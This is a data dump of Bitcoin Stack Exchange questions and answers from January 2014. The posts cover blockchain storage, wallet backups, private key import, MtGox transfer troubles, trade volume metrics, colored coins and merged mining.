  <row Id="21091" PostTypeId="1" AcceptedAnswerId="28118" CreationDate="2014-01-24T19:51:52.413" Score="2" ViewCount="216" Body="&lt;p&gt;I just downloaded Bitcoin-QT, and torrented a snapshot of the block chain that is a couple weeks old. I put the bootstrap.dat in ~/Library/Application Support/Bitcoin and started up the app. Right now it is &quot;Importing blocks from disk&quot;. Where do the blocks goes once they've been imported? A friend of mine says that the Bitcoin app makes a Merkle tree out of the blocks in the block chain. How is this stored? I want to write a program that takes snapshots of the block chain every couple hours. It would be much better if I could just update a copy of the block chain as needed instead of making an entire new copy and deleting the old copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make a bootstrap.dat out of the blkXXXXX.dat files?&lt;/p&gt;&#xA;" OwnerUserId="5537" LastEditorUserId="5537" LastEditDate="2014-01-24T20:21:22.967" LastActivityDate="2014-06-24T09:11:07.840" Title="Location of blockchain locally on different platforms, and structure of blockchain file?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21092" PostTypeId="2" ParentId="21087" CreationDate="2014-01-24T19:54:31.860" Score="7" Body="&lt;p&gt;Your understanding is correct. What you describe is known as a &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Sybil_attack&quot;&gt;Sybil attack&lt;/a&gt;&lt;/strong&gt;, here essentially the p2p version of a man-in-the-middle attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, Bitcoin requires very little trust, as each peer can check whether new information adds up with the information that was previously gathered. The attacker could use this constellation to relay a transaction to the attacked, e.g. make a store believe that an incoming transaction has been sent on the Bitcoin network, while instead sending the competing double-spend to the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the attacked could notice that he is not receiving any new blocks from the network (as otherwise the double-spend might be detected early). I.e. the attacked is not part of a real 'micro-economy', but rather just cut off from network updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to truly create a 'micro-economy', the attacker would have to actually mine fake blocks at the current difficulty in order to pass off false information as true, requiring immense hash-power at his disposal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as one legitimate peer is sufficient to defeat this attack, you can either set your Bitcoin client to connect to certain peers only, or at least force it to connect to two peers that would not cooperate with each other to defraud you, in order to defeat the attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I just realized that the &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Sybil_attack&quot;&gt;Bitcoin.it has a paragraph on the Sybil attack&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-24T23:29:36.200" LastActivityDate="2014-01-24T23:29:36.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21094" PostTypeId="2" ParentId="21091" CreationDate="2014-01-24T20:00:07.437" Score="0" Body="&lt;p&gt;In windows it is stored in Local&gt;AppData&gt;Bitcoin folder on linux it is stored in the Bitcoin folder &gt; blockchain and then blkxxx.dat&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-24T20:00:07.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21095" PostTypeId="2" ParentId="7536" CreationDate="2014-01-24T20:17:39.953" Score="3" Body="&lt;p&gt;After you use the console command to export your private key you'll also need to execute another console command to import it.  Both commands are listed below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command to export your private key:&#xA;dumpprivkey YourBitCoinPublicAddress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command to import your private key:&#xA;importprivkey YourBitCoinPrivateKey&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I was trying to figure this out I found a list of all Bitcoin console commands.  It's below for your reference.  All of the console commands can be executed by opening up your Bitcoin wallet software, click on help, then Console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12320" LastActivityDate="2014-01-24T20:17:39.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21096" PostTypeId="2" ParentId="19961" CreationDate="2014-01-24T20:19:36.160" Score="2" Body="&lt;p&gt;The answer to this question depends on the terminology used. &quot;To inflate&quot; normally means &quot;to increase the volume&quot;. &quot;To deflate&quot; is the opposite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this sense, bitcoins were inflationary in 2013 (the inflation was ca 15%) and will be inflationary in 2014 as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time, bitcoins were undergoing hyperappreciation in 2013 (bitcoin appreciation relative to USD was 5783%).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, bitcoins were undergoing hypermonetization in 2013 (bitcoin monetization, i.e., increase in liquidity expressed in USD was 2995%).&lt;/p&gt;&#xA;" OwnerUserId="9955" LastActivityDate="2014-01-24T20:19:36.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21097" PostTypeId="2" ParentId="21088" CreationDate="2014-01-24T20:27:15.310" Score="3" Body="&lt;p&gt;TL;DR: If you have a frequent recurring backup you are safe, otherwise use a deterministic wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, you are not safe in that scenario.&#xA;Let me rephrase that, you are not safe if you really want to use your the coins from your addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallet.dat file stores all public and private keys of your current addresses but standard client generates a new address every time you generate some change spending your money and those addresses will not be saved in your distributed copies.&#xA;Also if you generate a new address manually it will not be in your backups.&#xA;So if you recover the file from a backup those &quot;change&quot; addresses will be lost and you will not be able to use that coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well that is not really true :D indeed to leverage this kind of problems with recent backups standard client (and probably doge client) pre-generates a bunch of addresses (100) in a qeue and when it needs a new one (used for change or when you ask for it) it just take the first one and add one to the end of the qeue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while it is not really safe to store a backup forever if you backup frequently you will have no problem recovering all your coins when you recover a backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is using a deterministic wallet, it is a system that given a unique passphrase, file, code or whatever will generate always the same addresses with their private keys, so as long as you save or memorize the seed you can recover everything.&#xA;bitcoin-qt (and dogecoin-qt) does not support this but clients like Armory and other online wallets do.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-24T20:27:15.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21098" PostTypeId="1" AcceptedAnswerId="21099" CreationDate="2014-01-24T20:28:21.510" Score="-1" ViewCount="268" Body="&lt;p&gt;I sent 3 btc from mtgox to cavirtex. The address used is correct and I was given a transaciton ID by mtgox. Yet blockchain.info shows no record of a transaction and 3 btc are missing.&#xA;I have written to both mtgox and cavirtex to ask about them - still no replies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do? How do I know if they have been stolen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question with an accepted answer is related - or more to the point mine is a duplicate of it:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9534/transaction-not-found?rq=1&quot;&gt;Transaction not found&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-01-24T22:25:35.043" Title="I transferred BTC from mtgox and they have disappeared - What should/can I do?" Tags="|transactions|security|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-04T05:46:49.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="21099" PostTypeId="2" ParentId="21098" CreationDate="2014-01-24T21:43:21.087" Score="1" Body="&lt;p&gt;Check if the transaction is in the list of &lt;a href=&quot;https://blockchain.info/unconfirmed-transactions&quot; rel=&quot;nofollow&quot;&gt;unconfirmed transctions&lt;/a&gt;. If it's not, then the sender is at fault, Mt Gox in your case. If it is, then just be patient. It can take awhile for a transaction to get included by a miner.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-24T21:43:21.087" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21100" PostTypeId="2" ParentId="13233" CreationDate="2014-01-24T21:49:26.503" Score="0" Body="&lt;p&gt;I think I have an alternative that will work, since you are generating a unique address for each transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you generate the receiving address on your web server, also sign the address using the private key of the address; this generates a hash. You can present the address and the hash to your (potential) customer, letting them know that this hash is the code they will need to claim the product. The full hash is probably not necessary, you could get away with only presenting them with part of the hash (maybe the first 8-12 bytes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the only person who knows the hash is your customer (assuming a secure web connection, no MITM, etc). It's not something that can be derived by anyone else based on what is in the blockchain since only you have the private key, and your customer can't do anything malicious with the hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do one of two things -- store the address and hash on your server (for easy lookup), or not (since there is no knowing whether they went through with a transaction or not, and you could end up with a database full of never-to-be-used hashes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the customer comes to claim their goods, they provide the address and the hash. Your server once again signs the address using the address's private key, and compares that hash against the claim code provided by the customer (or if you opted to store the addr/hash pairs you just do a lookup). If they match, you deliver their product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if there are any gaps in this process; any feedback would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="10206" LastActivityDate="2014-01-24T21:49:26.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21101" PostTypeId="2" ParentId="13233" CreationDate="2014-01-24T22:06:52.897" Score="0" Body="&lt;p&gt;As I understood you are doing this without any login system, what you can do is generate a random alpha numeric code along with the address store this code with the address in database and prompt it to the customer. Also prompt a message that this is the unique identification number required to later claim their product. Rest process goes same like 6 confirmations etc.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-24T22:06:52.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21102" PostTypeId="1" CreationDate="2014-01-24T22:15:05.540" Score="1" ViewCount="257" Body="&lt;p&gt;Many 'stats/charts' sites are reporting trade volumes, without ever specifying which trade volume they are referring to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Number of Sent Bitcoins / 24h (Transaction Volume)&lt;/li&gt;&#xA;&lt;li&gt;Number of Bitcoins sent to a Bitcoin/USD/EUR/etc exchange. (Trade Volume)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm trying to gauge exactly what both BTC volumes are using sites like &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;CoinMarketCap&lt;/a&gt;, but I can't tell whether the USD Trade Volume figures are for the number of BTC exchanged for USD/EUR/etc or simply a dollar-conversion for the total number of BTC sent to any address over 24h.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help? &lt;/p&gt;&#xA;" OwnerUserId="9610" LastEditorUserId="9610" LastEditDate="2014-01-25T06:12:07.090" LastActivityDate="2014-01-25T06:12:07.090" Title="Unclear Trade Volumes on Bitcoin Charts" Tags="|exchanges|market|trade|volume|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21104" PostTypeId="2" ParentId="21102" CreationDate="2014-01-24T23:11:51.327" Score="1" Body="&lt;p&gt;It just depend on the site you are seeing, on market charts/stats (like &lt;a href=&quot;http://bitcoincharts.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/&lt;/a&gt; or &lt;a href=&quot;http://bitcointicker.co/&quot; rel=&quot;nofollow&quot;&gt;http://bitcointicker.co/&lt;/a&gt;) volume refers to trade volume, which indeed is not the money sent to the exchange, it is the BTC that changed hands inside the platform (there is no need to come from external and the same &quot;coin&quot; can be traded several times a day).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sites that give information about a coin in general like &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;http://coinmarketcap.com/&lt;/a&gt; or &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt; uses Volume as the sum of the value of all transactions in the public ledger (blockchain), I am not sure if that includes mining transactions or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As how exchanges work, no trades in exchanges leave a trace in the blockchain, as they are just internal movements between exchange accounts, they only leave trace when people fund or withdraw coins to/from the exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both volumes are unrelated, the first Volume (markets) gives you information about quantity of people wanting to buy or sell coins with fiat (or invest in them) while the second is real usage of the coin being handed between users, merchants, exchanges, etc.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-24T23:11:51.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21105" PostTypeId="1" CreationDate="2014-01-24T23:17:10.803" Score="1" ViewCount="2180" Body="&lt;p&gt;I asked this question on bitcoin forum too (just for the record):&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=430972.new#new&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=430972.new#new&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to develop a php web application (a game, and not a gambling site) where users can make in-game purchases. Now if I am understanding it right, The architecture (using bitcoind and Json-rpc api) should be: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When a new user registers - generate a new address for the new user: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$bitcoin-&gt;getnewaddress(&quot;username&quot;);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Store that wallet address for later use in my DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Display that address and let a user send bitcoins to that address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the balance of that address using the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$bitcoin-&gt;getbalance($username,0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;for unonfirmed balance  and &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;getbalance($username,6)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;confirmed balance.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can let the user buy my in-game items&#xA;and use &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$bitcoin-&gt;move($useraddress, $myaddress, $amount)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to debit his account and give him the stuff he needs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Questions: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. Does this sound about right?  Or am I completely off here! &#xA;2. How long does it take for the unconfirmed balance to show up?  [$bitcoin-&amp;gt;getbalance($username,0)] &#xA;3. $bitcoin-&amp;gt;move($useraddress, $myaddress, $amount)  is a change of bitcoins between addresses within my wallet, so this should be&#xA;offchain and instantaneous, right? &#xA;4.  How can some gambling dice sites like coinroll.it ( https://bitcointalk.org/index.php?topic=191176.0) accept unconfirmed&#xA;transactions and lets  people play instantly? are they just taking&#xA;the risk or there is something that I am not aware of. &#xA;5. How can I test out my bitcoind/php application with testnet? Anyone has any experience of this?&#xA;6. Suggestions on Security are welcome...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am going to make parts of my code open source when I figure this shit out&lt;/p&gt;&#xA;" OwnerUserId="12081" LastEditorUserId="7043" LastEditDate="2014-03-29T19:26:21.367" LastActivityDate="2014-03-30T17:36:17.467" Title="Bitcoind JSON-RPC - PHP user handling" Tags="|bitcoind|php|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21106" PostTypeId="2" ParentId="21105" CreationDate="2014-01-24T23:20:21.167" Score="0" Body="&lt;p&gt;You are correct on most of it rest can be experienced in development process. So I suggest you to start development and ask if you find it difficult to fix issues.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-24T23:20:21.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21107" PostTypeId="1" AcceptedAnswerId="21362" CreationDate="2014-01-24T23:33:00.577" Score="1" ViewCount="317" Body="&lt;p&gt;I have a bitcoind running on a server behind the www box which I poll every minute for new transactions and save new data into a table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something strange is happening sometimes. If i send 1 btc from my wallet to an address on the bitcoind server, it gets through just fine and shows up right away in the log when downloading transactions via RPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however I send from an exchange, it does not show up (at least not for a day or two). I've noticed that these exchanges add another address and amount to the same txid, could that be the cause? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a workaround for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="7034" LastActivityDate="2014-01-29T20:12:38.570" Title="Transactions not showing up in bitcoind log?" Tags="|bitcoind|json-rpc|linux|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21109" PostTypeId="1" CreationDate="2014-01-24T23:46:42.523" Score="1" ViewCount="22" Body="&lt;p&gt;Why did MtGox issue me a transaction ID (and charge a fee) for funds that have not &quot;transacted&quot; to the address I provided (but have been withdrawn from MtGox)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they issue some kind of internal transaction ID which does not lead anywhere when I search it in blockchain?&lt;/p&gt;&#xA;" OwnerUserId="3088" LastActivityDate="2014-01-24T23:46:42.523" Title="MtGox Transaction IDs are internal or bitcoin issued?" Tags="|transactions|mtgox|" AnswerCount="0" CommentCount="0" ClosedDate="2014-02-05T02:45:20.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="21110" PostTypeId="1" CreationDate="2014-01-24T23:48:12.793" Score="1" ViewCount="379" Body="&lt;p&gt;I've received some bitcoins in a wallet created by bitaddress.org, and I've saved a screenshot of the webpage that has the public/private keys and the QR codes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XMpuE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've now downloaded the Bitcoin-Qt client, how do I import what I have into it as a wallet?&lt;/p&gt;&#xA;" OwnerUserId="10925" LastEditorUserId="10925" LastEditDate="2014-01-31T05:51:22.513" LastActivityDate="2014-03-02T10:03:53.640" Title="Import bitaddress.org wallet into Bitcoin-Qt client?" Tags="|wallet|bitcoin-core|bitaddress.org|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-03T00:53:15.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="21111" PostTypeId="1" CreationDate="2014-01-25T00:12:09.817" Score="0" ViewCount="91" Body="&lt;p&gt;Imagine if one could follow the movements of a specific Bitcoin (or fraction thereof) in the block chain. Then that would mean that I could make that specific Bitcoin represent something else, which people could then freely trade just as other Bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I could mark 100 Bitcoins and define that these represent 100% of the equity of my company. I could then put them up for sale for something I felt was reasonable given the value of my company + the value of the Bitcoins themselves. People would know that they could freely and almost anonymously resell the equity of my company without trusting anything else than what the Bitcoins represented. No need for lawyers, no need for contracts regarding selling and buying of equity, no need to meet at all to do the exchange. My company could also pay the owners dividend, because I would always know which wallets owned the special Bitcoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is therefore: Is this currently possible, given all the nice &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;scripting features&lt;/a&gt; in Bitcoin. And if not, then are there currently any plans to modify Bitcoins to enable such a feature? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needless to say, I believe that there is a huge potential in this, because one could basically mark the owner of billions of things (virtual or not) by assigning something like 0.00000001 Bitcoins to each thing. This way one would always know who was the true owner of that specific thing. &lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="5406" LastEditDate="2014-02-09T21:08:24.633" LastActivityDate="2014-02-09T21:08:24.633" Title="Tracking a specific Bitcoin to make it represent something else, which could then be traded without trust" Tags="|script|colored-coins|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-31T06:09:30.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="21112" PostTypeId="2" ParentId="21111" CreationDate="2014-01-25T01:31:02.850" Score="1" Body="&lt;p&gt;As you say following the outputs of a transaction could be used as you describe, there are more people that like that kind of use cases and that's why &lt;a href=&quot;http://coloredcoins.org/&quot; rel=&quot;nofollow&quot;&gt;ColoredCoins&lt;/a&gt; was created or &lt;a href=&quot;http://zerocoin.org/&quot; rel=&quot;nofollow&quot;&gt;Zerocoin&lt;/a&gt; which try to make it completely anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed so many people is trying to add metadata to coins that in 0.9 version of the client there is a new output type that can include 80 bytes of data with no other use (you can read more about it here &lt;a href=&quot;https://bitcoinfoundation.org/blog/?p=290&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinfoundation.org/blog/?p=290&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-25T01:31:02.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21113" PostTypeId="1" AcceptedAnswerId="21196" CreationDate="2014-01-25T01:33:31.287" Score="1" ViewCount="206" Body="&lt;p&gt;Supporting merged mining allows a cryptocurrency A to improve the security its blockchain (increase the hash rate) by accepting work done on the blockchain of cryptocurrency B through insertion of a hash of a valid A-block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for cryptocurrency B (say Bitcoin) to prevent its blockchain from being used to effectively enhance the security of a rival coin? (I am assuming the 'A'-hash insertion takes place in the coinbase, which is normally used for entropy).&lt;/p&gt;&#xA;" OwnerUserId="3752" LastEditorUserId="5406" LastEditDate="2016-01-22T22:26:22.143" LastActivityDate="2016-01-22T22:26:22.143" Title="Merged mining: are there any ways to prevent it?" Tags="|altcoin|merged-mining|coinbase-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21114" PostTypeId="2" ParentId="21044" CreationDate="2014-01-25T04:39:05.970" Score="1" Body="&lt;p&gt;I got it working. I had was using the proxy 178.32.31.43 and the port 80 and I changed Port 80 to port 8888 and it works – &lt;/p&gt;&#xA;" OwnerUserId="6017" LastActivityDate="2014-01-25T04:39:05.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21116" PostTypeId="1" AcceptedAnswerId="21640" CreationDate="2014-01-25T08:05:05.420" Score="0" ViewCount="2204" Body="&lt;p&gt;I'm running a &lt;a href=&quot;http://q30.qhor.net:8336/static/&quot; rel=&quot;nofollow&quot;&gt;p2pool node&lt;/a&gt; for &lt;a href=&quot;http://cachecoin.org/&quot; rel=&quot;nofollow&quot;&gt;cachecoin&lt;/a&gt; and see there are more users and hashrate in the overall p2pool network than from the known nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get a list of the connected nodes somehow, maybe by IP? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I see currently is the web frontend and the stdout buffer.&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="5406" LastEditDate="2014-03-03T12:49:50.920" LastActivityDate="2014-03-03T12:49:50.920" Title="How to find a list of all nodes in a p2pool network?" Tags="|p2pool|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21118" PostTypeId="1" AcceptedAnswerId="21137" CreationDate="2014-01-25T09:53:50.877" Score="3" ViewCount="95" Body="&lt;p&gt;There exist quite some alternatives to bitcoin that are partially based on it, and I'm sure their creators all are convinced they improve upon something. But are there any serious drawbacks in bitcoin that can or will probably never be fixed?&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2014-01-25T15:47:07.667" Title="Are there any _severe_ drawbacks of bitcoin justifying all the alternatives?" Tags="|alternatives|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21123" PostTypeId="1" CreationDate="2014-01-25T11:06:20.833" Score="4" ViewCount="384" Body="&lt;p&gt;All I've learned about &lt;a href=&quot;/questions/tagged/script&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;script&amp;#39;&quot; rel=&quot;tag&quot;&gt;script&lt;/a&gt; so far is that while theoretically quite versatile (e.g. allowing multisignature transactions) most scripts are simply not propagated by the default client nodes, i.e. while you can easily transfer funds to a script, you may end up having a difficult time of ever spending these transactions. So, what makes a script standard/non-standard, is there a list of scripts currently supported by the network?&lt;/p&gt;&#xA;" OwnerUserId="1137" LastEditorUserId="5757" LastEditDate="2014-07-15T22:14:38.033" LastActivityDate="2014-07-15T22:14:38.033" Title="Which scripts are currently considered standard and therefore actually propagated?" Tags="|bitcoin-core|script|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21124" PostTypeId="1" CreationDate="2014-01-25T11:06:58.233" Score="0" ViewCount="80" Body="&lt;p&gt;I understand that BTC are stored as file in wallet.dat on hard/external drives.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there an added layer of security to Bitcoin storage when the computer is backed up by a trusted cloud storage company, or does this make BTC more vulnerable to raids/theft?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does this redundancy allow remote access to BTC wallet without increasing security risks?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can the third party (cloud storage company) access/steal BTC value of wallet.dat? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12673" LastActivityDate="2014-01-25T11:21:26.573" Title="Bitcoin security/vulnerability on computer backed up by cloud?" Tags="|security|data-security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21125" PostTypeId="2" ParentId="21123" CreationDate="2014-01-25T11:14:58.520" Score="-1" Body="&lt;p&gt;The standard list of operations for scripts are actually within the &lt;code&gt;bitcoind&lt;/code&gt; source-code which you can find here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script.cpp#L90&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/script.cpp#L90&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand which ones are actually implemented and used, you'd have to read the source-code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, there's no standard for this. The standard is the actual bitcoind program.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-01-25T11:44:07.300" LastActivityDate="2014-01-25T11:44:07.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21126" PostTypeId="1" AcceptedAnswerId="21128" CreationDate="2014-01-25T11:16:24.920" Score="2" ViewCount="420" Body="&lt;p&gt;Or are they kept forever such that the chain from the Generation Block will always remain verifiable?&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2014-01-25T11:40:02.093" Title="Will old accepted blocks ever be removed?" Tags="|blockchain|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21127" PostTypeId="2" ParentId="21124" CreationDate="2014-01-25T11:21:26.573" Score="1" Body="&lt;p&gt;first you have a misconception, BTCs are only stored in the blockchain, wallet.dat stores public/private keypairs of your addresses, addresses can have or not BTCs to spent but that's irrelevant for the storage.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Bitcoin has nothing like a API for backups, but it does have encrypted wallets so you can encrypt your wallet file and you only will be able to use it if you remember the passphrase.&lt;/li&gt;&#xA;&lt;li&gt;Having your wallet.dat file in several computers and actively using it in several pcs can cause address loss (and BTC in those addresses) see: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21088/if-i-backup-my-wallet-dat-once-am-i-forever-safe&quot;&gt;If I backup my wallet.dat once, am I forever safe?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If the wallet.dat file stored in external sites is not ciphered and someone has access to it, yes that entity wil be able to &quot;steal&quot; all current and future coins on that addresses.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10574" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-01-25T11:21:26.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
